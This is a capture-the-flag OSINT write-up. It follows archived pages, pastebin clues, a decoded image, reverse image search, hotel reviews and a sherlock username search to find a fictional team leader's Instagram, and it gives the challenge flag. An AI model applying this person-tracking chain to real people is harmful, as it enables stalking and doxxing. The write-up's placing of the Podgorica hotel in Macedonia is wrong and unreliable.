    After looking through the followers of 1337 bloggs, you get a twitter of a team called Eword, mentioned in the challenge description (https://twitter.com/EwordTeamarrow-up-right).] We also get a CTFtime page(https://ctftime.org/team/131587arrow-up-right), however looking at this brings nothing of interest.

    [this is where the guessing picks up]

    Maybe there was something on the CTFtime page that they didn't want us to see.

    Using the wayback machine ( a group of archived internet pages), we find 2 archived pages.

    Clicking on one of these archived pages leads us to here.

    We can see a pastebin link () that leads us to some clues.

    The most interesting thing here is the 2nd pastebin link, leading us to some base64.

    This base64 can be converted here: () and is reconstructed to a jpg.

    We get 3 pretty big clues here:

    1. The social media platform he uses (instagram, due to the layout resembling an Instagram story)

    2. The line "thanks to the advisor for recommending it for me". This advisor refers to Trip Advisor, a reviw site.

    3. A picture of the hotel he was staying at.

    After using google lens, we find out that our target is staying at "Hilton Podgorica Crna Gora" in Macedonia.

    After staring at reviews for an hour, I was stuck, until will came in and gave me a s*nity check, realisng that the person who we needed to catch was right in front of us the whole time.

    The man we are looking for was found, Wokaihwokomas Kustermann.

    He had the username of "check my instagram" on trip advisor, so a simple sherlock search should do the trick.

    We found an instagram!

    After opening his profile picture fully, you get the flag of:

    hashtag
    Flag: Eword{c0ngraAatulationZzZzaNd_w3lCom3_to_Eword_Team!}

    https://web.archive.org/web/20200826195056/https://ctftime.org/team/131587arrow-up-right
    https://pastebin.com/8bk9qLX1arrow-up-right
    https://base64.guru/converter/decode/filearrow-up-right
    Hi Fred,
    
    You said that you are good in OSINT. So, you need to prove your skills to join Eword.
    
    Your task:
    Find the leader of Eword, then find the flag in one of his social media accounts.
    
    Hint:
    https://pastebin.com/PZvaSjA0
    kali@kali:~/sherlock$ python3 sherlock WokaihwokomasKustermann
    
    [*] Checking username WokaihwokomasKustermann on:
    (made shorter for s*nity)
    [+] Instagram: https://www.instagram.com/WokaihwokomasKustermann

    Forensics